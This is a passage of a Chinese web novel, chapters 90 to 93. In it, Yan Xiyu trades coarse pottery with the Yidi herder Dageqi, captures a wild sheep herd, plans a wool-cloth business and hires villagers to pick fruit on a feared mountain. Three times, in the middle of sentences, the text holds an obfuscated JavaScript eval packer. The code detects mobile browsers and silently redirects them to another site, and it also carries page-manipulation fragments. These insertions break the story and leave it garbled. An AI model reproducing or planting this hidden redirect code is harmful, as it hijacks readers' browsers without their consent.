“燕姑娘放心,我定能造出机杼来,”杨元正拱了拱手道,“若造不出来,我自不会再有脸面见燕姑娘。” 他为了他的家人能在布坊和陶坊做活赚钱,他必须要造出机杼。 等杨元正离开后,梁屯长开始问燕惜妤要银子了:“燕姑娘,机杼这就要开造买木材打造了,那烧陶的焦陶匠也要带着家人徒弟搬来边地了,陶瓷窑也要盖起来了,样样都得银子。” 燕惜妤没钱,但她面不改色地说:“明日后晌屯长你再过来一趟。” “哎好,”梁屯长听说明日就有银子拿,欢天喜地地离开了。 屋里的人却沉默了下来,佟瑰方最先开口:“燕姑娘,我这还有些银子,你先拿去。” “不用你们的钱,”燕惜妤摆摆手,对仲茂说,“梁屯长带着你们从陶匠那里买了几个陶器,你拿过来给我看看。” 仲茂他们连忙把那几个陶器拿了过来,两个大陶碗,一个圆盆,还有一大一小两个圆罐,和一个细长颈陶瓶。 燕惜妤仔细看了看,这些陶器确实如梁屯长之前说过的那样,过于厚重,一眼看着就很粗糙,不像别的陶瓷那般轻和精巧,也没有花纹和色彩,灰扑扑的根本就摆不上台面。 燕惜妤拿在手里抛了抛,又往炕桌上磕了两下,“咚咚”响,别说拿来装东西,拿来当砖头砸人都可以。 燕惜妤对仲茂说:“找个背篓装好,我明日一早带着去找夷狄人。” “你打算拿这几个不值钱的土陶器同夷狄人作交易?”佟槿方在旁边问,“你这几个东西拿出来,就不怕夷狄人打你?” “你放心,他们打不过我,”燕惜妤笑了笑,“我倒还是希望他们敢和我动手。” 其他夷狄人不清楚,但达格其确实不想和燕惜妤动手。 哪怕天还黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991532|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,他打开毡包的门看见燕惜妤骑着他的马,他都没动手。 “你……这是看上我的马了?”达格其抬头看着燕惜妤。 天还蒙蒙亮,离远了看不清脸,但燕惜妤戴着箬帽的样子达格其记得清清楚楚。 “没有,我就是骑一会,感觉一下在草原骑马的感觉,”燕惜妤翻身下马,“达格其大叔,我苗月阿姨呢?” “她在洗脸,”达格其伸手抓过马的缰绳,“你给佟家姐弟去信了吗?” “刚把信给了出去,”燕惜妤站在毡包旁看着达格其绑马,“达格其大叔,你真的能在佟家姐弟来乌州边地之前,把苗月阿姨带回族里吗?” 她之前没对苗月说佟家姐弟俩人已经在边地,所以达格其和苗月还以为他们仍然在佟家,达格其估计是怕被佟家姐弟轻视,所以想在他们来乌州之前,让他的族人接受苗月,再把苗月带回族里。 “不是你说你能帮我?”达格其有点震惊地看着燕惜妤,“你难道说话不算数?” “我拿了你送我的两头牛,我当然会帮你,”燕惜妤放下背着的背篓,“我今日给你带了些陶器,你看看可不可以用。” 这时,苗月掀开门帘走了出来,她一看见燕惜妤就露出了笑容:“燕姑娘来了,快进来坐。” “苗月阿姨,我又来打扰你们了,”燕惜妤拎着背篓跟着苗月走进毡包,然后在地毯上坐下,“这是陶器,你们帮我看看,夷狄人会不会喜欢这些。” 达格其拿过陶碗看了看,然后做出了和燕惜妤一样的动作,他把陶碗在旁边的火桶炉上磕了几下。 苗月拿银碗给燕惜妤倒水:“天没亮就赶路,累了吧,快喝水。” “多谢苗月阿姨,”燕惜妤端起银碗看了看,“这银子做的碗,就是好看。” 达格其这时又拿起了一个陶罐,又继续磕火桶炉,“咚咚”直响。 “你轻些,”苗月说了一句。 “你这陶器还真是少见,”达格其看着磕不坏的陶罐,“先前大承商队换给我们的是陶瓷器,又轻又脆,一碰就裂,我们迁徙的路上总是会碎掉一大半。” “又轻又脆,但好看吧,有花纹又有颜色,你们不也很喜欢,”燕惜妤边喝水边说,“那我这些你们是看不上了。” “难看是难看了些,但你带来的这些陶器比那些好看的更适合我们,”达格其将陶碗拿在手里,“我可以去问问其他族人,他们要是能接受,我就帮他们找你换这些陶器。” “那我这些陶器都留给你了,”燕惜妤放下手里的银碗,“我今日来是为了去找野羊群的,达格其大叔,你知道野羊群在哪里吗?” “我早就找到了,一直在等你出现,”达格其站了起来,“走,我带你去找它们,我已经把我的羊圈隔开了,你只要把野羊群带回来,我就多一群羊了。” “那些野羊身上的羊毛是不是很长?”燕惜妤也站了起来。 91. 第91章 达格其确实已经找到了野羊群,他带着燕惜妤沿着野羊群的路线找了没多久,果然就看见一群野羊。 那些野羊身上的羊毛很厚,显得羊的体积很大,远远看着,就像一个个椭圆形的毛球。 “吁!”达格其牵扯缰绳让马匹停了下来,燕惜妤也拉着缰绳停在他身边。 “燕姑娘,看到了吧,这就是野羊群,”达格其用马鞭指着那群散开的野羊群,“只要你能把这群野羊给我抓回来,你先前说要和我一起养羊就成真了。” “怎么抓?”燕惜妤看着野羊群,“和上次那群野牛一样,先把头羊给抓住吗?” “对,你抓羊时尽量动静小些,不要惊了野羊群,还有,你千万别杀死头羊,”达格其提醒燕惜妤,“头羊不死,野羊群都听它的,头羊要是死了,野羊群立即会散开,到时很难再找到这群野羊。” 野羊群要是散了,到时候要想再抓,就只能一头头抓回来,但要是有领头羊在,反而能把一群羊都带走。 燕惜妤坐在马背上粗略数了一下,这群野羊大概有四五十头,小羊羔也有不少。 “头羊在哪?”燕惜妤问达格其,“你给我指出来。” “头羊在那,”达格其用马鞭指向一个方向,“单独吃草的就是头羊。” 燕惜妤伸手确认了一下:“是不是那头野羊?” “是,”达格其点头,正要再给燕惜妤说说关于抓头羊的诀窍,哪知道他才刚张嘴,原本坐在马背上的燕惜妤倏地就消失了! “……!”达格其虽然不是第一次见识到燕惜妤的身手,但他仍然被震撼的无法言语。 这位姑娘怎么能有这么快的身手! 他瞪大着眼睛看向头羊所在的方向,此时的燕惜妤已经出现在头羊的身边。 她在出现的那一瞬间,右手就已经攥紧了头羊的一只羊角。 正在低头吃草的头羊猛地原地蹦了一下,脑袋一甩,想把眼前的人给甩出去,但燕惜妤攥紧着它的羊角,反而是头羊把它自己甩的四蹄离了地。 “咩!”头羊忽然叫了一声,四周散开吃草的野羊纷纷抬起了脑袋。 “嘘!”燕惜妤小声对头羊说,“你别叫,我不杀你。” 她嘴上虽然这么说着,但她攥紧羊角的手却没有松开。 头羊正在和她较着劲,头羊向上顶羊角,燕惜妤攥着羊角往下压。 她是收着力气的,野羊没野牛体积大,她若是用压野牛的力气来压野羊,怕把头羊的羊角给掰断了。 头羊如果没了羊角,可能会无法再威慑野羊群,到时野羊群也同样会散开。 来找野羊群时,天还黑着,等天光时,头羊终于是累了,它垂着脑袋,不再和攥着它羊角的人较劲了。 燕惜妤试着攥着羊角往前走了几步,头羊也跟着走。 达格其看见这一幕,连忙跳下马跑过来,边跑边解下肩膀上缠着的草绳:“快拿绳子拴着。” 燕惜妤刚伸手想接过来,达格其已经自己在动手拴羊了:“你不会,我来拴。” 将羊给拴好后,他把草绳递给燕惜妤:“来,你牵着它走,把这野羊带回去。” 燕惜妤接过草绳,达格其又跑向了他的马,边跑边说:“我先回去把我羊圈的羊放出来,你跟着我另一匹走,它认识路,会把你带回去。”说完,骑着马风风火火地走了。 “你倒是让我说两句话啊,”燕惜妤望着他的背影嘀咕了两句,再回头看看野羊群,果然已经跟了过来,然后她对头羊说,“你的羊群还是认你这领头羊的。” 羊不会说话,只一味地在嚼着东西。 燕惜妤听着声音低头一看,头羊正在嚼拴羊的草绳。 “……达格其大叔难道忘了你是吃草的了,”燕姑娘边说边一手又攥紧了羊角,“草绳你吃吧,我就这样拖着你回去。” 等燕惜妤拖着头羊回到达格其的羊圈前时,头羊已经把拴着它的草绳全给嚼了。 达格其这时快步走了过来,一看拴羊的草绳已经被羊吃了,他就笑着说:“这草绳浸过药汁,羊吃了会乖乖卧几日,头羊只要不动,野羊群也就不会乱跑,它们关几日羊圈就会习惯了。” “原来是这样,我还以为你忘记羊是吃草的了,”燕惜妤拖着头羊往羊圈里走,“那我把羊拖进去。” “行,拖到角落里,”达格其走到旁边给野羊群让路,“你站里头不要动,等羊群全部进去了再出来。” 燕惜妤攥着头羊在羊圈里站了很久,才有野羊慢吞吞地走进羊圈。 达格其看准了最后一头野羊进了羊圈之后,冲上去“啪”地关上了羊圈的门,正要说话让燕惜妤出来,结果眼前人影一晃,燕惜妤已经站在了他的身边。 “……你这身手到底是跟哪位大宗师学的?”达格其忍不住问。 “天生的,”燕惜妤边说边撸袖子,“达格其大叔,给我抓十头羊,我要带走。” “你住手!”达格其连忙拦住燕惜妤,“你别抓野羊,你从我的羊群里抓。”野羊群才刚带回来,这时要是少了羊,野羊群是会闹的。 “你的羊呢?”燕惜妤左右看了看。 达格其顿了一下:“……刚刚放出去了。” 燕惜妤看着他,只觉得这合作伙伴估计是选错了。 “你也没说要抓羊走啊,”达格其还乐呵呵的,“那你去同苗月说说话,我先去放马放牛,然后再去把羊赶回来。” 燕惜妤斜着眼睛看他,没说话。 “苗月见到你很开心,你去同她说说话,”达格其牵着马说,“那你要去喂马?上次那群野牛,你要不要去看看?” “我不看牛,我只要羊,”燕惜妤转身往毡包里走去,“快去喂马喂牛。” 达格其笑着骑马走了。 等他赶着羊群回来时,傻眼了。 只见燕惜妤带着苗月正在野羊群里剪羊毛,燕惜妤负责把羊压在地上,苗月则拿着把大剪刀小心地给羊剪羊毛。 燕惜妤虽然没剪过羊毛,但她知道羊毛是成片剪下来的,所以她让苗月来剪。 苗月很细心,能把一整头羊的羊毛成片剪下来,地上已经铺了好几张完整剪下来的羊毛。 那些被剪了毛的羊,估计是觉得一身厚毛被剪了反而变得轻松,于是都围在旁边看同伴被剪羊毛,因为它们这些被剪了毛的羊没有逃,所以其它那些还没被剪毛的羊才没有乱,全都很安静地站着。 “……你们这是?”达格其走过来问,“把羊的毛给剪了?” “对,你放心,那几只小羊羔我没剪,苗月阿姨说小羊羔身上的毛能梳顺,”燕惜妤压着羊没抬头,“我要剪些羊毛带回去,我打算拿羊毛纺线织布。” “羊皮子不是更暖和些,”达格其不解地问,“羊毛做的袍子没带毛的羊皮子暖和吧?” “是差一些,但羊皮子贵啊,一头羊一身皮,但羊毛剪了还能再长,羊毛织布才能赚钱,”燕惜妤抬头看向达格其,“达格其大叔,我不只想要你养的羊,我还要想你所有族人养的羊,你们负责养羊,我负责在大承卖羊毛布匹,大家一起赚钱。” “……你还想让我全族给你养羊?!”达格其喃喃道,“你这姑娘可真是……” 真是什么,他却没有说出来,但燕惜妤能猜到,左右也不过是那几句话。 “达格其大叔,你能做到吗?”燕惜妤仍然抬头看着他,“你能劝你的族人把羊毛卖给我吧?” 达格其单膝跪在燕惜妤的面前:“我说燕姑娘,我全族养的羊……很多,你真打算要全族所养的羊毛?” “对,越多越好,你要是能劝其他族也一起把羊毛卖给我,我全要,”燕惜妤伸手指了指身旁围着的野羊群,“达格其大叔,只要你同意,以后别说是野羊野牛群,就是野马野狼……” 达格其连忙打断燕惜妤:“行行行,你别总是掂记野狼,那些畜生不能养。” “不能养吗?可是狼皮在大承卖的很贵,”燕惜妤语气有些失落。 “绝对不行!”达格其立即说,“我们放牧的地方,如果出现了野狼群,那些野羊野牛是不会出现的,你就算抓到头羊头牛,也带不回羊群牛群,它们害怕野狼的气味。” “这样啊,”燕惜妤只好放弃,“那达格其大叔,你同意帮我吗?你能帮我得到你整族人养的羊毛吗?” 达格其看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995331|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着燕惜妤:“你只要别再想着野狼群,我就帮你。” 燕惜妤眼珠子转了一下,达格其又说:“你也别打头狼的主意,你别去找野狼群,我才帮你。” “好吧,”燕惜妤低下头,拿后脑勺对着达格其,“我不找野狼群了。” 达格其用半信半疑的眼神看着燕惜妤,他总觉得这姑娘不定哪天就把头狼给他抓回来了。 “你不是要抓羊吗?”达格其站起来说,“我把羊群赶回来了,你去看看想抓哪头羊,我去抓来给你,上次那只小羊羔你能养活吧?要不要再给你抓一只?” 燕惜妤看看苗月,苗月这时正好剪完一头羊的羊毛,燕惜妤见她收了剪刀,这才松开压着野羊的手,野羊嗖一下就蹦了起来,原地跳了两下,估计是发觉身上没有了厚厚的羊毛,呆在原地不动了。 “把乱糟糟的羊毛剪了舒服吧,”燕惜妤拍了拍羊头,“努力长羊毛,到下雪天才不怕冷。” 那头野羊长有长角,这时垂着脑袋蹭了过来,燕惜妤也不怕会被扎到,用食指弹了弹羊角说:“看见你的羊角了,去吃草吧。” 达格其站在旁边低头看着燕惜妤,忽然说:“你很适合在草原上放牧。” 燕惜妤站起来说:“别想骗我留下来养羊,我要的羊呢?” 达格其帮着苗月收好剪羊毛的工具,然后带着燕惜妤往旁边的羊圈走去:“你让我帮你劝我族人把羊毛卖给你,那你要备好各种货物,除了银子和陶器,还要布匹和糖,各种粮食也要。” “果子要不要?”燕惜妤问他,“谷子我没有,布匹也没有,银子更没有,糖可以想办法,不过我有果子。” “……你什么都没有,”达格其用一言难尽的眼神看着燕惜妤,“你还让我帮你。” 燕惜妤笑眯眯地开口:“可我有整个草原的野羊野牛野马野狼群……” “行!”达格其立即说,“我帮你!”就说这姑娘在掂记着野狼,总有一天她会把头狼给带回来! “虽然我那些陶器和果子你们不稀罕,可草原上一群群的野羊马牛,还有野骆驼,你们想要吧?” 达格其没说话,他之所以愿意帮她,就是因此他和她第一次见面,就给他带来了一群野牛。虽然她说让他帮着养,但她人在大承,草原上的事她管不了,所以草原上养的那些牛马羊,都是他说了算。 “达格其大叔,只要你愿意帮我,日后这草原上的野羊马牛群,你想要哪群我都给你带回来,你想把它们给谁养都可以,”燕惜妤的声音充满了诱惑,“达格其大叔,日后整个草原的野羊马牛群都属于你,你的族人,包括其他的夷狄人族群都会对你刮目相看。” 达格其忽然停下了脚步,他侧头看向燕惜妤:“你日后会来草原上居住吗?” “不会,”燕惜妤知道达格其在担心什么,所以她用肯定的语气说,“只要你在草原上养牛马羊,我就不会来这边,你放心,我不干涉你在草原上放牧的任何事情。” 达格其长吁了一口气:“好,我帮你劝我的族人,但他们可能会有想要的,像我族中的大兄,他追了一匹野马好几年,硬是没能驯服那匹马。” “到时候我去帮他抓,”燕惜妤语气轻松,“别说一匹野马,一群野马我都给他抓回来。” 达格其看着燕惜妤没说话,她或许不知道,夷狄人崇尚强悍的武力,在这大荒原上,他们夷狄民族以力量称王,只要能打败族中所有人,只要能驯服最烈的野马,只要能让野狼拜伏,夷狄人将会奉其为王! 想到这里,达格其看着燕惜妤喃喃自语道:“整个草原都将属于你……” “什么?”燕惜妤没听清,她正想着要抓几头大肥羊带回去。 “你要是留在草原,以你的身手,所有夷狄族群都要听你的,”达格其的眼神闪烁着,“我能助你。” “别!”燕惜妤抬起手做出一个阻止的手势,“我不是夷狄人,他们对我不会有真心,与其让他们害怕我,倒不如让他们和我一起合作赚钱,这样就算他们对我心有不甘,但他们总归还是想要银子的。” 达格其没说话,过了一会才轻声自语道:“即便如此,整个草原仍然是你的……” 92. 第92章 日头已下山,天边泛着几缕光,夜幕快要降临,但燕惜妤还没从边卡之外的荒漠回来。 “我阿妹今日怎的还没回来?”罗采春在边卡这边站着,望向荒漠的方向,那边只有一望无际的草原,没看见人。 “再等等,燕姑娘她身手不凡,不会有事的,”佟瑰方站在她身边,在她们身后,站着桑大娘和佟槿方,再后面就是仲茂他们。 除了这些人,四周还站着不少人,他们分明不认识燕惜妤,今日却又不约而同地来这边等她。 “梁屯长,那位燕姑娘说让你今日寻她拿银子,她过边卡寻边去是为了什么?”杨元正也在,他的家人也都来了。 “我也不知,”梁屯长摇头,“我今日将陶坊的人带了回来,本想让她也见见,但她家人说她过了边卡,我就想着过来等她。” 他口中说的陶坊的人也都在,陶坊的人刚到边地,自然要四处看看,梁屯长没办法,只得留他们一起在这边等着。 “梁屯长,你是怕你说的那位姑娘回不来了吧?”焦陶匠其中的一名徒弟忽然开口,“羿家军的将士都没谁敢单枪匹马过边卡,你却说只一女子能在夷狄人的地盘上来去自如,莫不是在诓我们吧?” 他说话的声音不小,周边的人都听见了,仲二瞬间就怒了:“闭上你的臭嘴!” “你说什么?!”那人立即瞪向仲二他们,“你是不是想找打!”他在陶坊做的都是力气活,长了一身的腱子肉,手臂比旁人的大腿还要粗。 “阿兴,不得惹事,”焦陶匠是个瘦小的老爷子,他此时坐在一块石头上,满是皱纹的脸倒还平静,“都等着。” “师父,我就说不能过来,”他另一名徒弟也开口,“虽说这边地有羿家军在镇守着,但离夷狄人太近了,若有一日他们又打进来,我们可就危险了。” 住在边地这边的百姓却不愿意听见他们说这些话:“真胆小,滚回你娘的肚子里窝着吧!” “你说什么?!你再说一遍!” “说就说!骂你胆小难道我骂错了!” 这边眼看着就要打起来了,那边杨元正的家人也在低声议论。 “元正,那机杼你若能造出来,我们何不自己收羊毛纺线织布?”杨元正的家人忽然开口,“这营生我们可以自己做。” 他们杨家虽然从皇都被贬到了这荒凉的边地,但他们祖上都是高官显贵,皇都杨氏一族可是高门大族,哪怕成了流放的犯人,他们仍然有着野心。 “没银子,你若能拿出银钱,我倒是可以考虑,”杨元正扯了扯嘴角,“再说边地养羊的人家少,几头羊的羊毛成不了事。” 那杨家人顿时就不吭声了。 杨元正是杨家这代最有前途的子弟,杨家自到了这边地后,杨老爷子就发话让大家都听杨元正的,换言之杨家现在是杨元正当家,他说没银子,那就是真的没银子。 “他们杨家是什么意思?”佟槿方在旁边听见杨家人的说话声,瞬间就皱紧了眉头,“他们想抢咱家的营生?那可是咱燕姑娘想出来的!” “他们抢不走,”仲茂低声说,“我这几日同梁屯长四处走,养羊的人家很少,只在化县有位富户养了羊,但他家羊是整头卖出去的,连皮子一起卖才值钱。” “天黑了,”罗采春抬头看向天边,“天黑了,我阿妹怎的还没回来,她难道不走这边,从山脚回来了?” “不会,她出门前说了会带着羊回来,”桑大娘摇头,“从夷狄人手里买东西,必须经过边卡,否则会被搜缴。” “那为何还没回来?”罗采春忧心道,“那边不只有夷狄人,还有成群结队的野狼,她……该不会是碰见狼群了吧?” “别乱想,”佟瑰方安慰她,“燕姑娘身手了得,那些畜生伤不了她,我们再等等。” 这时,守边卡的士兵手持长茅走过来赶人:“快都散了,入夜不许聚众逗留在边卡附近,都走开。” 边卡事关国门安危,一到夜里就要加派人手巡逻看守,这么多人逗留在这里,若夷狄人这时突然来犯,守军将士可能会无暇顾及到这些人的安危。 大家彼此看看,慢吞吞地挪动步子。 罗采春执拗地站着不动:“我阿妹还没回来,我要在这等她。” 那名士兵“唰”地一下挥动了长茅:“都散了!” “咦?那边有人?!!”忽然有人喊了一声,大家顺着他指的方向看过去,只见在荒原的那边,果真有身影出现。 守边卡的将士早就看见了,他们全都手执长茅站在路障前,紧张地看着那群向这边缓慢移动的身影。 其他人也都凑了过来,个个瞪大眼睛望着那边。 “那是不是羊?” “还有两头大牛?” “羊有多少?” “一、二、三……怕是有十来头?” “这么多?这得要多少银子?” “要多少银子不知道,等镇上酒楼卖的最贵的就是羊肉!” “对,听说那些富户大多不吃猪肉,他们只吃鸡和羊,还有鱼。” “看来这燕姑娘身家丰厚。” “可不是,刚买了两头牛犊,还有一头母羊和一只小羊羔。” “她家还有两匹马,虽然军户住的那些屯有马的人家也不少,但咱屯里一共也才三匹马,她家就占了两匹。” “……难道梁屯长说的那事真能成?” “这谁知道,不管成不成,她都买羊买牛了,要真亏也不是咱亏,咱就每日赚她家一点工钱。” “快别说了,她过来了。” 燕惜妤手里扬着根小鞭子,又要驱赶羊,还要牵着牛,好在这些牛羊都是达格其圈养的,已经听惯了挥动鞭子的响声,否则她还真没办法将牛和羊就这么带回来。 “阿妹!”远远的,燕惜妤忽然就听见了罗采春的声音,“阿妹!是不是你回来了?!” “三姐?”燕惜妤蹦了两下,“三姐,你怎么来边卡了?” 燕惜妤抬头看了几眼,这才留意到边卡那边站满了人:“桑大娘?你怎么也在?” 她扬了扬鞭子,催促牛羊走快点。 守边卡的士兵这时也认出了她:“又是你这独自闯夷狄的女子,你怎的又带回这么多牛羊?” 上次燕惜妤带回两头牛犊和两头羊,这回她带回了十头肥壮的羊,和两头大牯牛,牛背上还背着成捆的物品。 “我买的,”燕惜妤将路引和小石牌递了过去,然后走到旁边的路障前问罗采春,“三姐,你们怎么在这里?” “我们在等你,”罗采春用手背擦了擦眼角,“你这次去太久,我们实在是不放心。” “让你们担心了,”燕惜妤隔着路障对着罗采春他们歉意地一笑,“下次我尽量早些回来。” “回来就好,”桑大娘也说,“我们在家没事做,出来走走,顺道等你回家。” 燕惜妤看着他们,忽然觉得鼻子一酸。 虽然她做这么多事,首要的是为了她自己,但她身边的这些人,也确实是得益于她,可今日他们都来等她,燕惜妤忽然就觉得自己一趟趟地来回跑,好像也没觉得有多累。 “姑娘,你可以过去了,”这时守边卡的士兵将路引和小石牌都递了回来,“快过去吧,入夜边卡附近不许百姓逗留,你将他们都带走。” 燕惜妤笑笑,接过路引和小石牌之后,等搜查的士兵挥手示意路障士兵放行,她立即轻轻甩了甩鞭子,将牛羊赶了过去。 “阿妹!你可算是回来了!”罗采春小跑过来抓着她的手,“可担心死我们了。” “害阿姐和大家担心了,”燕惜妤将额头抵在罗采春的肩膀上,“阿姐不要生我的气。” 罗采春立即就乐了:“你还是小满儿,你自己也同她一样,总是爱撒娇。” “燕姑娘,你又买了两头牛?”仲茂看着眼前这两头牛,眼中全是震撼,“夷狄养的牛都这么壮的吗?” “品种不一样吧,”仲二在旁边嘀咕着,“这牛看着好凶啊!” 仲茂脱口而出:“它再凶,能凶得过咱家燕姑娘!” 他这话令大家都转头看他,罗采春不悦地瞪他一眼:“你敢骂我阿妹!” 仲茂连忙说:“我说错话了!” “好了,都回去吧,”桑大娘在旁边说,“大家都等乏了。” 燕惜妤这时才发现等她的人竟然有这么多:“他们这是都在等我?梁屯长你怎么也在?” 梁屯长这时还在眼神炽热地看着牛和羊,听见燕惜妤喊他,他才不舍地移开视线。 “我将陶坊的焦老爷子和他家人及徒弟都带了来,听说你过了边卡,我就同仲茂他们一起等你。” “焦老爷子来了?”燕惜妤四周看看,“哪位是焦老爷子?” “家父方才回去了,”焦老爷子只留下了他的小儿子,“他看见燕姑娘你平安归来,就带着家人先回去了,家父说来日再上门拜访燕姑娘。” “今日害你们等我,是我之错,请焦叔见谅,”燕惜妤对他点头示意,“明日我同梁屯长过去问好。” 听见燕惜妤这么说,焦家儿子这才心情好了些。 他倒是不反对来边地,毕竟只要能赚到银子,在哪儿都一样。但他们一家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005406|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才刚到,就要在这野外露天等了这么半天,任谁都会觉得受到了怠慢。 好在燕惜妤说会同梁屯长一起去他家,屯里屯长最大,她和屯长一起来,也算是在邻居面前给焦家面子。 等焦家儿子离开后,梁屯长又对着牛羊眼巴巴地看着:“燕姑娘,你今日怎的又去买了牛和羊,这要花不少银子吧?” “我本来只是想去买牛,但看见羊就一起给买了,”燕惜妤甩了甩手中的鞭子,“屯长,我要是把这十头羊都卖了,赚到的银子够搭陶坊和造织布机杼吗?” “那自然是足够的,”梁屯长连连点头,“不需要卖十头,卖七头足够了。” “都卖了吧,”燕惜妤说,“我还打算请些人帮我上山摘果子。” “上山摘果子?”梁屯长心头一惊,“上哪座山摘果子?” “临阜山,”燕惜妤举着鞭子指着边地最大的那座山说,“我上次上山捉野猪,看见满山的果子,不摘可惜了。” “……燕姑娘,那座山没人敢上去,就连羿家军将士都只在山脚往上的地方巡逻,”梁屯长眼中有着惊慌,“那山里有山……神。” 他其实想说山上有山妖,但他不敢说出口。 燕惜妤笑着说:“有就有吧,大山是造福一方百姓的,我去摘些果子,山神不会怪罪的。” “……那山上还有各种猛兽和毒蛇毒虫,能轻易伤人伤命的,”梁屯长试图劝说燕惜妤,“燕姑娘,那座山真不能去。” “我去过好几次了,”燕惜妤反过来劝他,“我买这两头牛,就是为了进山,牛不怕毒蛇,牛还敢用舌头舔毒蛇,到时我在前面牵着牛,其他人带着个铜锣在后面边敲边上山,把野兽毒蛇毒虫都吓走,我们摘了果子就下山,牛会把果子背下山。” “真进山?”梁屯长又问,“万一猛兽吓不跑呢?” “我带刀上去,有猛兽就杀了,”燕惜妤拿着鞭子的手腕转了一下,“我很久没动过手了,勤练才不会生疏。” 梁屯长一咬牙:“行!我明日帮你问……” 他话还没说完,后头一直跟着的人忽然出声:“不用问了,我上山。” 燕惜妤回头看去,发现是一个高瘦的男子。 那男子看向燕惜妤问:“进山摘果子给工钱吧?” “给,”燕惜妤看梁屯长,“摘果子是不是二十三文钱一日?” 梁屯长的表情像是有点无奈:“是,不包饭食二十三文钱一日,这是乌州最高的单日工钱。” “就这么说定了,”那高瘦的男子立即说,“我明日去你家门前等着。” 说完,快步走开了,有不少人也跟着一起离开。 “唉,你也没说要多少人,万一明日几个屯的人都进山摘果子,你可得给出不少钱,”梁屯长摇头,“你有银子也不能这么乱挥霍。” “就摘那么几日,花不了几个钱,”燕惜妤指着那十头羊说,“屯长,羊该卖给谁,该怎么卖,你想好了吗?” “这些羊……都交给我?”梁屯长一怔,“燕姑娘,你这么信我?” “屯长怎么还替我怀疑你自己呢,”燕惜妤眼神满是真诚,“我当然信屯长,我记得你上次说要两身羊皮子,对吧?” “啊是,那这……”梁屯长看向那些羊,“给我留两张羊皮子?” “嗯,羊皮子就当是屯长你帮着卖羊的酬劳,”燕惜妤忽然低声说,“屯长,我自己家人可是都还没有羊皮子。” 梁屯长脚步一顿,看着年迈的桑大娘,再想到燕惜妤家那四个小娃,又再看看罗采春和佟瑰方,再看看燕惜妤,张张嘴说:“……那我……” “屯长,能者多劳,但我知道能者也是需要吃饭的,”燕惜妤看着梁屯长,“这几日屯长跑进跑出的,我知道屯长也很累,家里人估计也会有意见,两张羊皮子就当是我谢过屯长帮我用心做事的这份心,望屯长不要拒绝,也望屯长日后能继续帮我。” “……我,”梁屯长喉头有些哽咽,“好,我收下了,多谢燕姑娘。” “屯长何需和我说这个谢字,”燕惜妤说,“我初来乍到人生地不熟,日后还要靠屯长多帮助,要说也该是我说。” “不!你也别说!”梁屯长连忙说,“我不说,你也别说。” 燕惜妤笑着点点头,看向了还一直跟着的杨元正等人:“屯长,他们这是?” “没什么事,怕你拿不出银子,”梁屯长说,“今日他们看见你带回了牛和羊,没有人会再怀疑你拿不出工钱了。” 燕惜妤垂了垂眼。 很好,只要大家信她,那她想做的事一定能成功! 93. 第93章 边地这几日很热闹。 原本人人惧怕不敢去的临阜山,竟然有人抢着要上去。 “杨元正,你怎么也要进山?”梁屯长看着眼前包裹严实的人,“你不是带着人为燕姑娘造那纺布的机杼吗?” “有几个铁部件铁匠还没送来,所以我带他们也来摘果子,”杨元正理了理身上包裹严实的罩衣,又仔细看过双脚缠着的草绳,身上防毒蛇防毒虫“法宝”都没问题,他可以进山了,“屯长,回头再说,我们先进山了。” 他说完,带着杨家众人顺着山路向上走。 梁屯长在他们身后喊:“注意些虫子,看到草药记得要留根。” 这时,有个矮个子的男子背着大半筐果子下山,双手还各拎着一个竹篮。 那男子走到梁屯长面前憨笑着说:“屯长,劳给我记一下。”他边说,边把手中竹篮放在案桌上,又解下了背上背着的竹筐。 梁屯长仔细看过这人摘的果子,又看了竹篮里放的药材,这才在册子上用笔记下,然后让坐在旁边抱着钱匣的仲三说:“仲三兄弟,给他数五文钱。” 仲三打开一直紧抱的钱匣,从里面数了五文钱递给那男子,那男子紧紧捏着铜板走到旁边早就等着他的家人前。 “娘,”那男子把铜板递到一个老妇人手中,那老妇人笑着将铜板放进破旧的钱袋里,钱袋沉甸甸的,让她满是皱纹的脸上露出丝笑容。 “当家的,你先喝水,这是燕姑娘让孙女医师徒熬煮的茶水,可好喝了,你多喝两碗,”旁边一位年轻妇人给那男子端来装有茶水的陶碗。 那男子两口喝了水,然后左右瞧瞧,见大家没留意他,这才小心翼翼地从怀中掏出一把像是草根的药材:“快收好!” “好!”那妇人连忙将那把草根收入怀中,“你当心些,别让燕姑娘看见了。” 那男子却憨笑着说:“燕姑娘知晓,我当时差点摸到条毒蛇,还是燕姑娘一刀把那蛇削成了两截,她还对我们说小心些,山上草药很多,别摘错了。” 那妇人一愣,脸上露出欢喜来:“燕姑娘人这么好?她不骂你们偷藏药材?” 